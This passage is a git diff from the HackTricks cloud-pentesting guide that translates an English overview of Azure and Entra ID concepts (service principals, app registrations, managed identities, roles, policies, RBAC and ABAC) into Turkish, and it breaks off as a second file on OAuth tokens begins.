members to a group. -- **Dynamic membership**: Automatically manages membership using rules, updating group inclusion when members attributes change. +- **Atanmış**: Belirli üyeleri bir gruba manuel olarak eklemeye izin verir. +- **Dinamik üyelik**: Üyelikleri kurallar kullanarak otomatik olarak yönetir, üyelerin özellikleri değiştiğinde grup dahil edilmesini günceller. -### **Service Principals** +### **Hizmet İlkeleri** -A **Service Principal** is an **identity** created for **use** with **applications**, hosted services, and automated tools to access Azure resources. This access is **restricted by the roles assigned** to the service principal, giving you control over **which resources can be accessed** and at which level. For security reasons, it's always recommended to **use service principals with automated tools** rather than allowing them to log in with a user identity. +Bir **Hizmet İlkesi**, **uygulamalar**, barındırılan hizmetler ve otomatik araçlar ile Azure kaynaklarına erişim için **kullanım** amacıyla oluşturulmuş bir **kimliktir**. Bu erişim, hizmet ilkesine atanan rollerle **kısıtlanır**, böylece **hangi kaynakların erişilebileceği** ve hangi düzeyde erişileceği üzerinde kontrol sağlar. Güvenlik nedenleriyle, **hizmet ilkelerini otomatik araçlarla kullanmak** her zaman önerilir, kullanıcı kimliği ile giriş yapmalarına izin vermektense. -It's possible to **directly login as a service principal** by generating it a **secret** (password), a **certificate**, or granting **federated** access to third party platforms (e.g. Github Actions) over it. +Bir hizmet ilkesine **doğrudan giriş yapmak** mümkündür; bunun için bir **gizli anahtar** (şifre), bir **sertifika** oluşturabilir veya üçüncü taraf platformlara (örneğin, Github Actions) **federasyon** erişimi verebilirsiniz. -- If you choose **password** auth (by default), **save the password generated** as you won't be able to access it again. -- If you choose certificate authentication, make sure the **application will have access over the private key**. +- **Şifre** kimlik doğrulamasını (varsayılan olarak) seçerseniz, **oluşturulan şifreyi kaydedin** çünkü bir daha erişemezsiniz. +- Sertifika kimlik doğrulamasını seçerseniz, **uygulamanın özel anahtara erişimi olduğundan emin olun**. -### App Registrations +### Uygulama Kayıtları -An **App Registration** is a configuration that allows an application to integrate with Entra ID and to perform actions. +Bir **Uygulama Kaydı**, bir uygulamanın Entra ID ile entegre olmasına ve eylemler gerçekleştirmesine olanak tanıyan bir yapılandırmadır. -#### Key Components: +#### Ana Bileşenler: -1. **Application ID (Client ID):** A unique identifier for your app in Azure AD. -2. **Redirect URIs:** URLs where Azure AD sends authentication responses. -3. **Certificates, Secrets & Federated Credentials:** It's possible to generate a secret or a certificate to login as the service principal of the application, or to grant federated access to it (e.g. Github Actions). - 1. If a **certificate** or **secret** is generated, it's possible to a person to **login as the service principal** with CLI tools by knowing the **application ID**, the **secret** or **certificate** and the **tenant** (domain or ID). -4. **API Permissions:** Specifies what resources or APIs the app can access. -5. **Authentication Settings:** Defines the app's supported authentication flows (e.g., OAuth2, OpenID Connect). -6. **Service Principal**: A service principal is created when an App is created (if it's done from the web console) or when it's installed in a new tenant. - 1. The **service principal** will get all the requested permissions it was configured with. +1. **Uygulama Kimliği (İstemci Kimliği):** Azure AD'deki uygulamanız için benzersiz bir tanımlayıcı. +2. **Yeniden Yönlendirme URI'leri:** Azure AD'nin kimlik doğrulama yanıtlarını gönderdiği URL'ler. +3. **Sertifikalar, Gizli Anahtarlar ve Federasyon Kimlik Bilgileri:** Uygulamanın hizmet ilkesi olarak giriş yapması için bir gizli anahtar veya sertifika oluşturmak veya ona federasyon erişimi vermek mümkündür (örneğin, Github Actions). +4. Eğer bir **sertifika** veya **gizli anahtar** oluşturulursa, bir kişi **CLI araçlarıyla hizmet ilkesi olarak giriş yapabilir**; bunun için **uygulama kimliğini**, **gizli anahtarı** veya **sertifikayı** ve **kiracıyı** (alan veya kimlik) bilmesi gerekir. +5. **API İzinleri:** Uygulamanın erişebileceği kaynakları veya API'leri belirtir. +6. **Kimlik Doğrulama Ayarları:** Uygulamanın desteklediği kimlik doğrulama akışlarını tanımlar (örneğin, OAuth2, OpenID Connect). +7. **Hizmet İlkesi**: Bir Uygulama oluşturulduğunda (web konsolundan yapılırsa) veya yeni bir kiracıya yüklendiğinde bir hizmet ilkesi oluşturulur. +8. **Hizmet ilkesi**, yapılandırıldığı tüm istenen izinleri alır. -### Default Consent Permissions +### Varsayılan Onay İzinleri -**User consent for applications** +**Uygulamalar için kullanıcı onayı** -- **Do not allow user consent** - - An administrator will be required for all apps. -- **Allow user consent for apps from verified publishers, for selected permissions (Recommended)** - - All users can consent for permissions classified as "low impact", for apps from verified publishers or apps registered in this organization. - - **Default** low impact permissions (although you need to accept to add them as low): - - User.Read - sign in and read user profile - - offline_access - maintain access to data that users have given it access to - - openid - sign users in - - profile - view user's basic profile - - email - view user's email address -- **Allow user consent for apps (Default)** - - All users can consent for any app to access the organization's data. +- **Kullanıcı onayını kabul etme** +- Tüm uygulamalar için bir yönetici gerekecektir. +- **Doğrulanmış yayıncılardan, seçilen izinler için uygulamalar için kullanıcı onayına izin ver (Tavsiye Edilir)** +- Tüm kullanıcılar, "düşük etki" olarak sınıflandırılan izinler için, doğrulanmış yayıncılardan veya bu kuruluşta kayıtlı uygulamalar için onay verebilir. +- **Varsayılan** düşük etki izinleri (bunları düşük etki olarak eklemek için kabul etmeniz gerekir): +- User.Read - oturum açma ve kullanıcı profilini okuma +- offline_access - kullanıcının erişim verdiği verilere erişimi sürdürme +- openid - kullanıcıları oturum açtırma +- profile - kullanıcının temel profilini görüntüleme +- email - kullanıcının e-posta adresini görüntüleme +- **Uygulamalar için kullanıcı onayına izin ver (Varsayılan)** +- Tüm kullanıcılar, herhangi bir uygulamanın kuruluşun verilerine erişmesi için onay verebilir. -**Admin consent requests**: Default **No** +**Yönetici onay talepleri**: Varsayılan **Hayır** -- Users can request admin consent to apps they are unable to consent to -- If **Yes**: It’s possible to indicate Users, Groups and Roles that can consent requests - - Configure also if users will receive email notifications and expiration reminders +- Kullanıcılar, onay veremedikleri uygulamalar için yönetici onayı talep edebilir +- Eğer **Evet**: Onay taleplerine onay verebilecek Kullanıcılar, Gruplar ve Roller belirtilebilir +- Kullanıcıların e-posta bildirimleri ve son kullanma hatırlatmaları alıp almayacaklarını da yapılandırın. -### **Managed Identity (Metadata)** +### **Yönetilen Kimlik (Meta Veriler)** -Managed identities in Azure Active Directory offer a solution for **automatically managing the identity** of applications. These identities are used by applications for the purpose of **connecting** to **resources** compatible with Azure Active Directory (**Azure AD**) authentication. This allows to **remove the need of hardcoding cloud credentials** in the code as the application will be able to contact the **metadata** service to get a valid token to **perform actions** as the indicated managed identity in Azure. +Azure Active Directory'deki yönetilen kimlikler, uygulamaların kimliğini **otomatik olarak yönetme** çözümü sunar. Bu kimlikler, uygulamaların Azure Active Directory (**Azure AD**) kimlik doğrulaması ile uyumlu **kaynaklara** **bağlanmak** amacıyla kullanılır. Bu, uygulamanın **meta veri** hizmeti ile iletişim kurarak Azure'daki belirtilen yönetilen kimlik olarak **hareket etmek** için geçerli bir token almasını sağlar; böylece bulut kimlik bilgilerini kodda sabit kodlama ihtiyacını **ortadan kaldırır**. -There are two types of managed identities: +İki tür yönetilen kimlik vardır: -- **System-assigned**. Some Azure services allow you to **enable a managed identity directly on a service instance**. When you enable a system-assigned managed identity, a **service principal** is created in the Entra ID tenant trusted by the subscription where the resource is located. When the **resource** is **deleted**, Azure automatically **deletes** the **identity** for you. -- **User-assigned**. It's also possible for users to generate managed identities. These are created inside a resource group inside a subscription and a service principal will be created in the EntraID trusted by the subscription. Then, you can assign the managed identity to one or **more instances** of an Azure service (multiple resources). For user-assigned managed identities, the **identity is managed separately from the resources that use it**. +- **Sistem atamalı**. Bazı Azure hizmetleri, bir hizmet örneği üzerinde **yönetilen bir kimliği doğrudan etkinleştirmenize** olanak tanır. Sistem atamalı bir yönetilen kimliği etkinleştirdiğinizde, **hizmet ilkesi**, kaynağın bulunduğu abonluğu güvenen Entra ID kiracısında oluşturulur. **Kaynak** **silindiğinde**, Azure otomatik olarak sizin için **kimliği siler**. +- **Kullanıcı atamalı**. Kullanıcıların yönetilen kimlikler oluşturması da mümkündür. Bunlar, bir abonluk içindeki bir kaynak grubunun içinde oluşturulur ve EntraID'de abonluğu güvenen bir hizmet ilkesi oluşturulur. Daha sonra, yönetilen kimliği bir veya **daha fazla Azure hizmeti örneğine** (birden fazla kaynak) atayabilirsiniz. Kullanıcı atamalı yönetilen kimlikler için, **kimlik, onu kullanan kaynaklardan ayrı olarak yönetilir**. -Managed Identities **don't generate eternal credentials** (like passwords or certificates) to access as the service principal attached to it. +Yönetilen Kimlikler, ona bağlı hizmet ilkesine erişim sağlamak için **sonsuz kimlik bilgileri** (şifreler veya sertifikalar gibi) oluşturmaz. -### Enterprise Applications +### Kurumsal Uygulamalar -It’s just a **table in Azure to filter service principals** and check the applications that have been assigned to. +Bu, yalnızca **hizmet ilkelerini filtrelemek ve atanmış uygulamaları kontrol etmek için Azure'da bir tablodur**. -**It isn’t another type of “application”,** there isn’t any object in Azure that is an “Enterprise Application”, it’s just an abstraction to check the Service principals, App registrations and managed identities. +**Bu, başka bir "uygulama" türü değildir**, Azure'da "Kurumsal Uygulama" olan herhangi bir nesne yoktur; bu, yalnızca Hizmet ilkelerini, Uygulama kayıtlarını ve yönetilen kimlikleri kontrol etmek için bir soyutlamadır. -### Administrative Units +### İdari Birimler -Administrative units allows to **give permissions from a role over a specific portion of an organization**. +İdari birimler, **bir rol üzerinden bir organizasyonun belirli bir bölümüne izinler vermeye** olanak tanır. -Example: +Örnek: -- Scenario: A company wants regional IT admins to manage only the users in their own region. -- Implementation: - - Create Administrative Units for each region (e.g., "North America AU", "Europe AU"). - - Populate AUs with users from their respective regions. - - AUs can **contain users, groups, or devices** - - AUs support **dynamic memberships** - - AUs **cannot contain AUs** - - Assign Admin Roles: - - Grant the "User Administrator" role to regional IT staff, scoped to their region's AU. -- Outcome: Regional IT admins can manage user accounts within their region without affecting other regions. +- Senaryo: Bir şirket, bölgesel BT yöneticilerinin yalnızca kendi bölgelerindeki kullanıcıları yönetmesini istiyor. +- Uygulama: +- Her bölge için İdari Birimler oluşturun (örneğin, "Kuzey Amerika AU", "Avrupa AU"). +- AU'ları kendi bölgelerindeki kullanıcılarla doldurun. +- AU'lar **kullanıcılar, gruplar veya cihazlar** içerebilir. +- AU'lar **dinamik üyelikleri** destekler. +- AU'lar **AU içeremez**. +- Yönetici Rolleri Atayın: +- "Kullanıcı Yöneticisi" rolünü bölgesel BT personeline, kendi bölgelerinin AU'suna göre verin. +- Sonuç: Bölgesel BT yöneticileri, diğer bölgeleri etkilemeden kendi bölgelerindeki kullanıcı hesaplarını yönetebilir. -### Entra ID Roles +### Entra ID Rolleri -- In order to manage Entra ID there are some **built-in roles** that can be assigned to Entra ID principals to manage Entra ID - - Check the roles in [https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference](https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference) -- The most privileged role is **Global Administrator** -- In the Description of the role it’s possible to see its **granular permissions** +- Entra ID'yi yönetmek için Entra ID ilkelerine atanabilecek bazı **yerleşik roller** vardır. +- Rolleri [https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference](https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference) adresinde kontrol edin. +- En yüksek ayrıcalıklı rol **Küresel Yönetici**dir. +- Rolün Tanımında, **ayrıntılı izinlerini** görebilirsiniz. -## Roles & Permissions +## Roller ve İzinler -**Roles** are **assigned** to **principals** on a **scope**: `principal -[HAS ROLE]->(scope)` +**Roller**, **ilkeler** üzerinde bir **kapsamda** **atanır**: `ilkeler -[ROLÜ VAR]->(kapsam)` -**Roles** assigned to **groups** are **inherited** by all the **members** of the group. +**Gruplara** atanan **roller**, grubun tüm **üyeleri** tarafından **devralınır**. -Depending on the scope the role was assigned to, the **role** cold be **inherited** to **other resources** inside the scope container. For example, if a user A has a **role on the subscription**, he will have that **role on all the resource groups** inside the subscription and on **all the resources** inside the resource group. +Rolün atandığı kapsamına bağlı olarak, **rol**, kapsam konteyneri içindeki **diğer kaynaklara** **devralınabilir**. Örneğin, bir A kullanıcısının bir **abonelikte rolü** varsa, o **rolü, abonelik içindeki tüm kaynak gruplarında** ve **kaynak grubundaki tüm kaynaklarda** olacaktır. -### **Classic Roles** +### **Klasik Roller** -| **Owner** |
  • Full access to all resources
  • Can manage access for other users
| All resource types | +| **Sahip** |
  • Tüm kaynaklara tam erişim
  • Diğer kullanıcılar için erişimi yönetebilir
| Tüm kaynak türleri | | ----------------------------- | ---------------------------------------------------------------------------------------- | ------------------ | -| **Contributor** |
  • Full access to all resources
  • Cannot manage access
| All resource types | -| **Reader** | • View all resources | All resource types | -| **User Access Administrator** |
  • View all resources
  • Can manage access for other users
| All resource types | +| **Katkıda Bulunan** |
  • Tüm kaynaklara tam erişim
  • Erişimi yönetemez
| Tüm kaynak türleri | +| **Okuyucu** | • Tüm kaynakları görüntüleyin | Tüm kaynak türleri | +| **Kullanıcı Erişim Yöneticisi** |
  • Tüm kaynakları görüntüleyin
  • Diğer kullanıcılar için erişimi yönetebilir
| Tüm kaynak türleri | -### Built-In roles +### Yerleşik roller -[From the docs: ](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles)[Azure role-based access control (Azure RBAC)](https://learn.microsoft.com/en-us/azure/role-based-access-control/overview) has several Azure **built-in roles** that you can **assign** to **users, groups, service principals, and managed identities**. Role assignments are the way you control **access to Azure resources**. If the built-in roles don't meet the specific needs of your organization, you can create your own [**Azure custom roles**](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles)**.** +[Belgelerden: ](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles)[Azure rol tabanlı erişim kontrolü (Azure RBAC)](https://learn.microsoft.com/en-us/azure/role-based-access-control/overview) kullanıcılar, gruplar, hizmet ilkeleri ve yönetilen kimlikler için **atanabilecek** birkaç Azure **yerleşik rolü** vardır. Rol atamaları, **Azure kaynaklarına erişimi kontrol etmenin** yoludur. Yerleşik roller, kuruluşunuzun özel ihtiyaçlarını karşılamıyorsa, kendi [**Azure özel rollerinizi**](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles)** oluşturabilirsiniz.** -**Built-In** roles apply only to the **resources** they are **meant** to, for example check this 2 examples of **Built-In roles over Compute** resources: +**Yerleşik** roller yalnızca **amaçlandıkları kaynaklara** uygulanır; örneğin, **Hesaplama** kaynakları üzerindeki bu 2 yerleşik rol örneğine bakın: -| [Disk Backup Reader](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#disk-backup-reader) | Provides permission to backup vault to perform disk backup. | 3e5e47e6-65f7-47ef-90b5-e5dd4d455f24 | +| [Disk Yedekleme Okuyucusu](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#disk-backup-reader) | Disk yedeklemesi gerçekleştirmek için yedekleme kasasına izin verir. | 3e5e47e6-65f7-47ef-90b5-e5dd4d455f24 | | ----------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------- | ------------------------------------ | -| [Virtual Machine User Login](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#virtual-machine-user-login) | View Virtual Machines in the portal and login as a regular user. | fb879df8-f326-4884-b1cf-06f3ad86be52 | +| [Sanal Makine Kullanıcı Girişi](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#virtual-machine-user-login) | Portaldaki Sanal Makineleri görüntüleyin ve normal bir kullanıcı olarak giriş yapın. | fb879df8-f326-4884-b1cf-06f3ad86be52 | -This roles can **also be assigned over logic containers** (such as management groups, subscriptions and resource groups) and the principals affected will have them **over the resources inside those containers**. +Bu roller, **mantıksal konteynerler** (yönetim grupları, abonelikler ve kaynak grupları gibi) üzerinde de atanabilir ve etkilenen ilkeler, **bu konteynerler içindeki kaynaklar üzerinde** olacaktır. -- Find here a list with [**all the Azure built-in roles**](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles). -- Find here a list with [**all the Entra ID built-in roles**](https://learn.microsoft.com/en-us/azure/active-directory/roles/permissions-reference). +- Burada [**tüm Azure yerleşik rollerinin**](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles) bir listesini bulabilirsiniz. +- Burada [**tüm Entra ID yerleşik rollerinin**](https://learn.microsoft.com/en-us/azure/active-directory/roles/permissions-reference) bir listesini bulabilirsiniz. -### Custom Roles +### Özel Roller -- It’s also possible to create [**custom roles**](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles) -- They are created inside a scope, although a role can be in several scopes (management groups, subscription and resource groups) -- It’s possible to configure all the granular permissions the custom role will have -- It’s possible to exclude permissions - - A principal with a excluded permission won’t be able to use it even if the permissions is being granted elsewhere -- It’s possible to use wildcards -- The used format is a JSON - - `actions` are for control actions over the resource - - `dataActions` are permissions over the data within the object - -Example of permissions JSON for a custom role: +- [**Özel roller**](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles) oluşturmak da mümkündür. +- Bunlar bir kapsam içinde oluşturulur, ancak bir rol birden fazla kapsamda (yönetim grupları, abonelikler ve kaynak grupları) olabilir. +- Özel rolün sahip olacağı tüm ayrıntılı izinleri yapılandırmak mümkündür. +- İzinleri hariç tutmak mümkündür. +- Hariç tutulan bir izne sahip bir ilke, izin başka bir yerde verilse bile onu kullanamaz. +- Joker karakterler kullanmak mümkündür. +- Kullanılan format bir JSON'dur. +- `actions`, kaynak üzerindeki kontrol eylemleri içindir. +- `dataActions`, nesne içindeki verilere yönelik izinlerdir. +Özel bir rol için izinlerin JSON örneği: ```json { - "properties": { - "roleName": "", - "description": "", - "assignableScopes": ["/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f"], - "permissions": [ - { - "actions": [ - "Microsoft.DigitalTwins/register/action", - "Microsoft.DigitalTwins/unregister/action", - "Microsoft.DigitalTwins/operations/read", - "Microsoft.DigitalTwins/digitalTwinsInstances/read", - "Microsoft.DigitalTwins/digitalTwinsInstances/write", - "Microsoft.CostManagement/exports/*" - ], - "notActions": [ - "Astronomer.Astro/register/action", - "Astronomer.Astro/unregister/action", - "Astronomer.Astro/operations/read", - "Astronomer.Astro/organizations/read" - ], - "dataActions": [], - "notDataActions": [] - } - ] - } +"properties": { +"roleName": "", +"description": "", +"assignableScopes": ["/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f"], +"permissions": [ +{ +"actions": [ +"Microsoft.DigitalTwins/register/action", +"Microsoft.DigitalTwins/unregister/action", +"Microsoft.DigitalTwins/operations/read", +"Microsoft.DigitalTwins/digitalTwinsInstances/read", +"Microsoft.DigitalTwins/digitalTwinsInstances/write", +"Microsoft.CostManagement/exports/*" +], +"notActions": [ +"Astronomer.Astro/register/action", +"Astronomer.Astro/unregister/action", +"Astronomer.Astro/operations/read", +"Astronomer.Astro/organizations/read" +], +"dataActions": [], +"notDataActions": [] +} +] +} } ``` +### İzinler sırası -### Permissions order - -- In order for a **principal to have some access over a resource** he needs an explicit role being granted to him (anyhow) **granting him that permission**. -- An explicit **deny role assignment takes precedence** over the role granting the permission. +- Bir **temsilcinin bir kaynağa erişim hakkı olması için** ona açık bir rol verilmesi gerekir (herhangi bir şekilde) **ona bu izni veren**. +- Açık bir **reddetme rolü ataması, izni veren rolün önceliğine sahiptir**.

https://link.springer.com/chapter/10.1007/978-1-4842-7325-8_10

-### Global Administrator +### Küresel Yöneticisi -Global Administrator is a role from Entra ID that grants **complete control over the Entra ID tenant**. However, it doesn't grant any permissions over Azure resources by default. +Küresel Yöneticisi, **Entra ID kiracısı üzerinde tam kontrol sağlayan** Entra ID'den bir roldür. Ancak, varsayılan olarak Azure kaynakları üzerinde herhangi bir izin vermez. -Users with the Global Administrator role has the ability to '**elevate' to User Access Administrator Azure role in the Root Management Group**. So Global Administrators can manage access in **all Azure subscriptions and management groups.**\ -This elevation can be done at the end of the page: [https://portal.azure.com/#view/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/\~/Properties](https://portal.azure.com/#view/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/~/Properties) +Küresel Yöneticisi rolüne sahip kullanıcılar, **Kök Yönetim Grubu'nda Kullanıcı Erişim Yöneticisi Azure rolüne 'yükseltme' yapma** yeteneğine sahiptir. Bu nedenle, Küresel Yöneticiler **tüm Azure aboneliklerinde ve yönetim gruplarında erişimi yönetebilir.**\ +Bu yükseltme sayfanın sonunda yapılabilir: [https://portal.azure.com/#view/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/\~/Properties](https://portal.azure.com/#view/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/~/Properties)
-### Azure Policies +### Azure Politikaları -**Azure Policies** are rules that help organizations ensure their resources meet specific standards and compliance requirements. They allow you to **enforce or audit settings on resources in Azure**. For example, you can prevent the creation of virtual machines in an unauthorized region or ensure that all resources have specific tags for tracking. +**Azure Politikaları**, organizasyonların kaynaklarının belirli standartlara ve uyumluluk gereksinimlerine uygun olmasını sağlamalarına yardımcı olan kurallardır. Bu politikalar, **Azure'daki kaynaklar üzerinde ayarları uygulamanıza veya denetlemenize** olanak tanır. Örneğin, yetkisiz bir bölgede sanal makinelerin oluşturulmasını engelleyebilir veya tüm kaynakların izleme için belirli etiketlere sahip olmasını sağlayabilirsiniz. -Azure Policies are **proactive**: they can stop non-compliant resources from being created or changed. They are also **reactive**, allowing you to find and fix existing non-compliant resources. +Azure Politikaları **proaktiftir**: uyumsuz kaynakların oluşturulmasını veya değiştirilmesini durdurabilirler. Ayrıca **reaktif** olup, mevcut uyumsuz kaynakları bulmanıza ve düzeltmenize olanak tanır. -#### **Key Concepts** +#### **Anahtar Kavramlar** -1. **Policy Definition**: A rule, written in JSON, that specifies what is allowed or required. -2. **Policy Assignment**: The application of a policy to a specific scope (e.g., subscription, resource group). -3. **Initiatives**: A collection of policies grouped together for broader enforcement. -4. **Effect**: Specifies what happens when the policy is triggered (e.g., "Deny," "Audit," or "Append"). +1. **Politika Tanımı**: Ne yapılmasına izin verildiğini veya neyin gerekli olduğunu belirten, JSON formatında yazılmış bir kural. +2. **Politika Ataması**: Bir politikanın belirli bir kapsamda (örneğin, abonelik, kaynak grubu) uygulanması. +3. **İnisiyatifler**: Daha geniş bir uygulama için bir araya getirilmiş politika koleksiyonu. +4. **Etkisi**: Politika tetiklendiğinde ne olacağını belirtir (örneğin, "Reddet", "Denetle" veya "Ekle"). -**Some examples:** +**Bazı örnekler:** -1. **Ensuring Compliance with Specific Azure Regions**: This policy ensures that all resources are deployed in specific Azure regions. For example, a company might want to ensure all its data is stored in Europe for GDPR compliance. -2. **Enforcing Naming Standards**: Policies can enforce naming conventions for Azure resources. This helps in organizing and easily identifying resources based on their names, which is helpful in large environments. -3. **Restricting Certain Resource Types**: This policy can restrict the creation of certain types of resources. For example, a policy could be set to prevent the creation of expensive resource types, like certain VM sizes, to control costs. -4. **Enforcing Tagging Policies**: Tags are key-value pairs associated with Azure resources used for resource management. Policies can enforce that certain tags must be present, or have specific values, for all resources. This is useful for cost tracking, ownership, or categorization of resources. -5. **Limiting Public Access to Resources**: Policies can enforce that certain resources, like storage accounts or databases, do not have public endpoints, ensuring that they are only accessible within the organization's network. -6. **Automatically Applying Security Settings**: Policies can be used to automatically apply security settings to resources, such as applying a specific network security group to all VMs or ensuring that all storage accounts use encryption. +1. **Belirli Azure Bölgeleri ile Uyum Sağlama**: Bu politika, tüm kaynakların belirli Azure bölgelerinde dağıtılmasını sağlar. Örneğin, bir şirket tüm verilerinin GDPR uyumluluğu için Avrupa'da saklandığından emin olmak isteyebilir. +2. **İsimlendirme Standartlarını Uygulama**: Politikalar, Azure kaynakları için isimlendirme kurallarını uygulayabilir. Bu, kaynakların isimlerine göre düzenlenmesine ve kolayca tanımlanmasına yardımcı olur, bu da büyük ortamlarda faydalıdır. +3. **Belirli Kaynak Türlerini Kısıtlama**: Bu politika, belirli türde kaynakların oluşturulmasını kısıtlayabilir. Örneğin, maliyetleri kontrol etmek için belirli VM boyutları gibi pahalı kaynak türlerinin oluşturulmasını engelleyen bir politika ayarlanabilir. +4. **Etiketleme Politikalarını Uygulama**: Etiketler, kaynak yönetimi için kullanılan Azure kaynaklarıyla ilişkili anahtar-değer çiftleridir. Politikalar, belirli etiketlerin mevcut olmasını veya tüm kaynaklar için belirli değerlere sahip olmasını zorunlu kılabilir. Bu, maliyet takibi, sahiplik veya kaynakların kategorize edilmesi için faydalıdır. +5. **Kaynaklara Kamu Erişimini Sınırlama**: Politikalar, belirli kaynakların, örneğin depolama hesapları veya veritabanlarının, kamu uç noktalarına sahip olmamasını zorunlu kılabilir, böylece yalnızca organizasyonun ağı içinde erişilebilir olmalarını sağlar. +6. **Güvenlik Ayarlarını Otomatik Uygulama**: Politikalar, kaynaklara otomatik olarak güvenlik ayarları uygulamak için kullanılabilir, örneğin tüm VM'lere belirli bir ağ güvenlik grubunu uygulamak veya tüm depolama hesaplarının şifreleme kullanmasını sağlamak. -Note that Azure Policies can be attached to any level of the Azure hierarchy, but they are **commonly used in the root management group** or in other management groups. - -Azure policy json example: +Azure Politikalarının Azure hiyerarşisinin herhangi bir seviyesine eklenebileceğini, ancak genellikle **kök yönetim grubunda** veya diğer yönetim gruplarında kullanıldığını unutmayın. +Azure politika json örneği: ```json { - "policyRule": { - "if": { - "field": "location", - "notIn": ["eastus", "westus"] - }, - "then": { - "effect": "Deny" - } - }, - "parameters": {}, - "displayName": "Allow resources only in East US and West US", - "description": "This policy ensures that resources can only be created in East US or West US.", - "mode": "All" +"policyRule": { +"if": { +"field": "location", +"notIn": ["eastus", "westus"] +}, +"then": { +"effect": "Deny" +} +}, +"parameters": {}, +"displayName": "Allow resources only in East US and West US", +"description": "This policy ensures that resources can only be created in East US or West US.", +"mode": "All" } ``` +### İzin Mirası -### Permissions Inheritance +Azure'da **izinler hiyerarşinin herhangi bir parçasına atanabilir**. Bu, yönetim gruplarını, abonelikleri, kaynak gruplarını ve bireysel kaynakları içerir. İzinler, atandıkları varlığın **içindeki kaynaklar** tarafından **miras alınır**. -In Azure **permissions are can be assigned to any part of the hierarchy**. That includes management groups, subscriptions, resource groups, and individual resources. Permissions are **inherited** by contained **resources** of the entity where they were assigned. - -This hierarchical structure allows for efficient and scalable management of access permissions. +Bu hiyerarşik yapı, erişim izinlerinin verimli ve ölçeklenebilir bir şekilde yönetilmesini sağlar.
### Azure RBAC vs ABAC -**RBAC** (role-based access control) is what we have seen already in the previous sections: **Assigning a role to a principal to grant him access** over a resource.\ -However, in some cases you might want to provide **more fined-grained access management** or **simplify** the management of **hundreds** of role **assignments**. +**RBAC** (rol tabanlı erişim kontrolü), önceki bölümlerde zaten gördüğümüz şeydir: **Bir kaynağa erişim vermek için bir ilkeye rol atamak**.\ +Ancak, bazı durumlarda **daha ince ayrıntılı erişim yönetimi** sağlamak veya **yüzlerce** rol **atanmasını** yönetimini **basitleştirmek** isteyebilirsiniz. -Azure **ABAC** (attribute-based access control) builds on Azure RBAC by adding **role assignment conditions based on attributes** in the context of specific actions. A _role assignment condition_ is an **additional check that you can optionally add to your role assignment** to provide more fine-grained access control. A condition filters down permissions granted as a part of the role definition and role assignment. For example, you can **add a condition that requires an object to have a specific tag to read the object**.\ -You **cannot** explicitly **deny** **access** to specific resources **using conditions**. +Azure **ABAC** (özellik tabanlı erişim kontrolü), belirli eylemler bağlamında **özelliklere dayalı rol atama koşulları** ekleyerek Azure RBAC üzerine inşa edilmiştir. Bir _rol atama koşulu_, **rol atamanıza isteğe bağlı olarak ekleyebileceğiniz ek bir kontrol**'dür ve daha ince ayrıntılı erişim kontrolü sağlar. Bir koşul, rol tanımı ve rol ataması parçası olarak verilen izinleri filtreler. Örneğin, **bir nesneyi okumak için nesnenin belirli bir etikete sahip olmasını gerektiren bir koşul ekleyebilirsiniz**.\ +**Koşullar** kullanarak belirli kaynaklara **erişimi açıkça **reddedemezsiniz**. -## References +## Referanslar - [https://learn.microsoft.com/en-us/azure/governance/management-groups/overview](https://learn.microsoft.com/en-us/azure/governance/management-groups/overview) - [https://learn.microsoft.com/en-us/azure/cloud-adoption-framework/ready/azure-best-practices/organize-subscriptions](https://learn.microsoft.com/en-us/azure/cloud-adoption-framework/ready/azure-best-practices/organize-subscriptions) @@ -379,7 +375,3 @@ You **cannot** explicitly **deny** **access** to specific resources **using cond - [https://stackoverflow.com/questions/65922566/what-are-the-differences-between-service-principal-and-app-registration](https://stackoverflow.com/questions/65922566/what-are-the-differences-between-service-principal-and-app-registration) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md b/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md index d076e723a..beb620482 100644 --- a/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md +++ b/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md @@ -2,100 +2,99 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## Temel Bilgiler -Entra ID is Microsoft's cloud-based identity and access management (IAM) platform, serving as the foundational authentication and authorization system for services like Microsoft 365 and Azure Resource Manager. Azure AD implements the OAuth 2.0 authorization framework and the OpenID Connect (OIDC) authentication protocol to manage access to resources. +Entra ID, Microsoft'un bulut tabanlı kimlik ve erişim yönetimi (IAM) platformudur ve Microsoft 365 ve Azure Resource Manager gibi hizmetler için temel kimlik doğrulama ve yetkilendirme sistemi olarak hizmet vermektedir. Azure AD, kaynaklara erişimi yönetmek için OAuth 2.0 yetkilendirme çerçevesini ve OpenID Connect (OIDC) kimlik doğrulama protokolünü uygular. ### OAuth -**Key Participants in OAuth 2.0:** +**OAuth 2.0'da Anahtar Katılımcılar:** -1. **Resource Server (RS):** Protects resources owned by the resource owner. -2. **Resource Owner (RO):** Typically an end-user who owns the protected resources. -3. **Client Application (CA):** An application seeking access to resources on behalf of the resource owner. -4. **Authorization Server 